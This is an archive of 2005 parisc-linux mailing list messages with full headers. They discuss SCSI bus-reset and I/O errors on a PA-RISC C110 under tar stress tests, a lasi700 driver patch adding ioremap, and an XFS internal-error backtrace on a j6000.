List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: lNV8KtErTlIv47eQeGhrSVVGU2poZZmw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22364

Hi all,

Here isthe lot of messages I got when stressing sdc on narrow se connection of my c110 (this disk is an older model then mentioned 
in previous test).
using following stress test just being:
# tar cslp linux-2.6.11-rc4-pa1-050219 | tar -C /chroot/Develop -xslp
# tar -cslpf /chroot/Develop/linux-2.6.11-rc4-pa1-050219.tar linux-2.6.11-rc4-pa1-050219
# tar -cslpf /chroot/Develop/linux-2.6.11-rc4-pa1-050219.tar2  linux-2.6.11-rc4-pa1-050219
nearly simultanious in 3 different shells ;-)

I got lot of messages as follow:
scsi1: (4:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG N
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48520, cmnd 2ff081c0
  failing command because of reset, slot 2ff4864c, cmnd 2ff08a00
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff08320
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x3: 03 00 00 00 60 00
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48520, cmnd 2ff08320
  failing command because of reset, slot 2ff4864c, cmnd 2ff088a0
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff088a0
  failing command because of reset, slot 2ff488a4, cmnd 2ff08320
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff08320
  failing command because of reset, slot 2ff488a4, cmnd 2ff088a0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff088a0
  failing command because of reset, slot 2ff488a4, cmnd 2ff08320
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff08320
  failing command because of reset, slot 2ff488a4, cmnd 2ff088a0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff088a0
  failing command because of reset, slot 2ff488a4, cmnd 2ff08320
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff088a0
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff088a0
  failing command because of reset, slot 2ff488a4, cmnd 2ff08320
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff08320
  failing command because of reset, slot 2ff488a4, cmnd 2ff088a0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff088a0
  failing command because of reset, slot 2ff488a4, cmnd 2ff08320
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff48520, cmnd 2ff081c0
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff08320
  failing command because of reset, slot 2ff488a4, cmnd 2ff088a0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff088a0
  failing command because of reset, slot 2ff488a4, cmnd 2ff08320
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff4864c, dsp 001d8]
  failing command because of reset, slot 2ff4864c, cmnd 2ff08060
  failing command because of reset, slot 2ff48778, cmnd 2ff08320
  failing command because of reset, slot 2ff488a4, cmnd 2ff088a0
scsi1: (4:0), UNEXPECTED PHASE after command phase (CD BSY REQ CMD_OUT)
          len = 6, cmd =scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f af 46
scsi1: Bus Reset detected, executing command 2ff08060, slot 2ff48778, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08060
  failing command because of reset, slot 2ff488a4, cmnd 2ff081c0
scsi1 (4:0) broken device is looping in contingent allegiance: ignoring
scsi1 (4:0) New error handler wants to abort command
         scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f b7 46 00 04 00 00
scsi1 (4:0) New error handler wants to abort command
         scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f b3 46 00 04 00 00
scsi1 (4:0) New error handler wants to abort command
         scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f bc d6 00 04 00 00
scsi1 (4:0) New error handler wants device reset
         scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f b7 46 00 04 00 00
scsi1 (4:0) New error handler wants BUS reset, cmd 2ff081c0
         scsi1 : destination target 4, lun 0
         command: cdb[0]=0x2a: 2a 00 00 5f b7 46 00 04 00 00
scsi1: Bus Reset detected, executing command 2ff08320, slot 2ff488a4, dsp 001d8]
  failing command because of reset, slot 2ff48778, cmnd 2ff08480
  failing command because of reset, slot 2ff488a4, cmnd 2ff08320
end_request: I/O error, dev sdc, sector 6270790
Buffer I/O error on device sdc9, logical block 144776
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 144777
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 144778
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 144779
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 144780
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 144781
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 144782
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 144783
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 144784
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 144785
lost page write due to I/O error on sdc9
  target1:0:4: Beginning Domain Validation
scsi1: (4:0) Asynchronous
  target1:0:4: Domain Validation skipping write tests
scsi1: (4:0) Synchronous at offset 8, period 100ns
  target1:0:4: Ending Domain Validation
end_request: I/O error, dev sdc, sector 6624510
printk: 118 messages suppressed.
Buffer I/O error on device sdc9, logical block 188991
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 188992
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 188993
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 188994
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 188995
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 188996
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 188997
lost page write due to I/O error on sdc9
end_request: I/O error, dev sdc, sector 7236926
printk: 121 messages suppressed.
Buffer I/O error on device sdc9, logical block 265543
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 265544
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 265545
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 265546
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 265547
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 265548
lost page write due to I/O error on sdc9

> 
> 
> Here's the patch I'm compiling now ...
> 
> --- drivers/scsi/lasi700.c      10 Dec 2004 20:46:33 -0000      1.10
> +++ drivers/scsi/lasi700.c      19 Feb 2005 16:47:11 -0000
> @@ -112,7 +112,7 @@ lasi700_probe(struct parisc_device *dev)
>  
>         hostdata->dev = &dev->dev;
>         dma_set_mask(&dev->dev, 0xffffffffUL);
> -       hostdata->base = base;
> +       hostdata->base = ioremap(base, 0x100);
>         hostdata->differential = 0;
>  
>         if (dev->id.sversion == LASI_700_SVERSION) {
> @@ -138,6 +138,7 @@ lasi700_probe(struct parisc_device *dev)
>         return 0;
>  
>   out_kfree:
> +       iounmap(hostdata->base);
>         kfree(hostdata);
>         return -ENODEV;
>  }
> @@ -152,6 +153,7 @@ lasi700_driver_remove(struct parisc_devi
>         scsi_remove_host(host);
>         NCR_700_release(host);
>         free_irq(host->irq, host);
> +       iounmap(hostdata->base);
>         kfree(hostdata);
>  
>         return 0;
> 
This patch applied I got only:
end_request: I/O error, dev sdc, sector 5303534
Buffer I/O error on device sdc9, logical block 23869
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 23870
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 23871
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 23872
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 23873
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 23874
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 23875
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 23876
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 23877
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 23878
lost page write due to I/O error on sdc9
scsi1: (4:0) phase mismatch at 01e8, phase IO CD MSG BSY REQ MSG IN
scsi1: Bus Reset detected, executing command 2ff08320, slot 2ff4864c, dsp 001d81e8[01e8]
  failing command because of reset, slot 2ff48520, cmnd 2ff08740
  failing command because of reset, slot 2ff4864c, cmnd 2ff08320
  failing command because of reset, slot 2ff48778, cmnd 2ff088a0
  failing command because of reset, slot 2ff488a4, cmnd 23af1e80
end_request: I/O error, dev sdc, sector 6147910
printk: 118 messages suppressed.
Buffer I/O error on device sdc9, logical block 129416
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 129417
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 129418
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 129419
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 129420
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 129421
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 129422
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 129423
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 129424
lost page write due to I/O error on sdc9
Buffer I/O error on device sdc9, logical block 129425
lost page write due to I/O error on sdc9

That said it seems to be a c110 pb because as reported in 
<http://lists.parisc-linux.org/pipermail/parisc-linux/2005-February/025853.html>

The same test on b180 with same 53c710 driver doesn't encounter any pb :-)

I can so eliminate disk pb ;-)
But how may I check if it's hw pb in the 53c710 ctrlr? (hp ode expert tools are only for hp engineer)

hth,
	joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] BUG 2.6.11-rc4-pa1 XFS data page fault
Date: Sat, 19 Feb 2005 15:27:23 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <20050219222723.GA12572@colo.lackof.org>
References: <20050216065539.GB5251@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623674 12760 80.91.229.3 (22 Nov 2014 02:34:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:34 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Feb 2005 22:26:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 19 Feb 2005 23:26:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 92AAB7D63E;
	Sat, 19 Feb 2005 15:27:14 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19453-10; Sat, 19 Feb 2005 15:27:14 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 990617D640;
	Sat, 19 Feb 2005 15:27:13 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 40AF37D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 15:27:11 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19591-03 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 15:27:10 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id B58617D639
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 15:27:10 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D4B5B29802E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 15:27:24 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12522-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 19 Feb 2005 15:27:23 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6D1F9298011; Sat, 19 Feb 2005 15:27:23 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20050216065539.GB5251@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RdF8KnZjTlIv47eQeGhrSVVGU2poZVnW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22365

On Tue, Feb 15, 2005 at 11:55:39PM -0700, Grant Grundler wrote:
> Running 2.6.11-rc4-pa0-plus (equivalent to -pa1) on a500-65 (riot).
> xfs ran spew for 48h but panic'd when I did a "cvs up -A"
> to the CVS source tree on the same file system.

XFS behaves better with sym2+MMIO on j6000 running a 64-bit SMP kernel.
I was able to run spew several hours with no problems.
This is without the patch that Joel pointed out from the -mm tree.

This suggests there is a problem with Astro/Elroy programming
where "Sprockets" firmware (for Astro based workstations) does
something different than PAT PDC firmware on a500.
I'm investigating.


However, did see one "WARN_ON" when I rsync (/home to /home2):
root@gggj6k:/home# df
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/sda3              1783984   1522420    170940  90% /
tmpfs                  4110708         0   4110708   0% /dev/shm
/dev/sda4             15439312  13086812   1568220  90% /home
/dev/sdb3             17019904   5155384  11864520  31% /mnt
/dev/sdb4             17773568  12486340   5287228  71% /home2

root@gggj6k:/home# lsscsi
[1:0:5:0]    disk    SEAGATE  ST318203LC       0001  /dev/sda
[1:0:6:0]    disk    FUJITSU  MAJ3364MC        HP12  /dev/sdb

The rsync completed but one error showed up 4 times on the console
during the second half (about) of the rsync:

Filesystem "sdb4": XFS internal error xfs_btree_check_sblock at line 342 of file fs/xfs/xfs_btree.c.  Caller 0x00000000102f1b84
Backtrace:
 [<00000000101145e0>] dump_stack+0x18/0x28
 [<00000000102eceac>] xfs_error_report+0x64/0x70
 [<00000000102d7718>] xfs_btree_check_sblock+0x78/0xf8
 [<00000000102f1b84>] xfs_inobt_lookup+0x144/0x3a0
 [<00000000102f3514>] xfs_inobt_lookup_le+0x24/0x30
 [<00000000102f08f0>] xfs_dialloc+0xe90/0x12e0
 [<00000000102f6638>] xfs_ialloc+0x70/0x4e0
 [<0000000010310a10>] xfs_dir_ialloc+0xb8/0x3e8
 [<0000000010316d30>] xfs_create+0x2f0/0x810
 [<0000000010326140>] linvfs_mknod+0x1e0/0x298
 [<000000001032620c>] linvfs_create+0x14/0x20
 [<00000000101d3c04>] vfs_create+0xbc/0xf8
 [<00000000101d4a30>] open_namei+0xb58/0xc10
 [<00000000101b5b14>] filp_open+0x44/0x98
 [<00000000101b5f98>] sys_open+0x98/0x110
 [<0000000010107fac>] syscall_exit+0x0/0x14


Perhaps this is fixed in the patches; I haven't looked.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NCR_700 problems on 715/64 with 2.6.11-rc4-pa1
Date: Sun, 20 Feb 2005 13:32:07 +0100
Lines: 57
Approved: news@gmane.org
Message-ID: <200502201332.07872.deller@gmx.de>
References: <200502191234.30310.deller@gmx.de>
	<20050219164007.GC455@parcelfarce.linux.theplanet.co.uk>
	<20050219165314.GD455@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623674 12761 80.91.229.3 (22 Nov 2014 02:34:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:34 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
 parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Feb 2005 12:32:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx011) with SMTP; 20 Feb 2005 13:32:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2EC897D647;
	Sun, 20 Feb 2005 05:32:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21754-07; Sun, 20 Feb 2005 05:32:53 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A6DB7D640;
	Sun, 20 Feb 2005 05:32:52 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BE72F7D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 05:32:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21738-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 05:32:49 -0700 (MST)
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id CF3417D639
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 20 Feb 2005 05:32:48 -0700 (MST)
Original-Received: (qmail invoked by alias); 20 Feb 2005 12:32:10 -0000
Original-Received: from pD9FE764B.dip.t-dialin.net (EHLO p100.helgenet.de)
	(217.254.118.75)
	by mail.gmx.net (mp007) with SMTP; 20 Feb 2005 13:32:10 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.7.92
In-Reply-To: <20050219165314.GD455@parcelfarce.linux.theplanet.co.uk>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
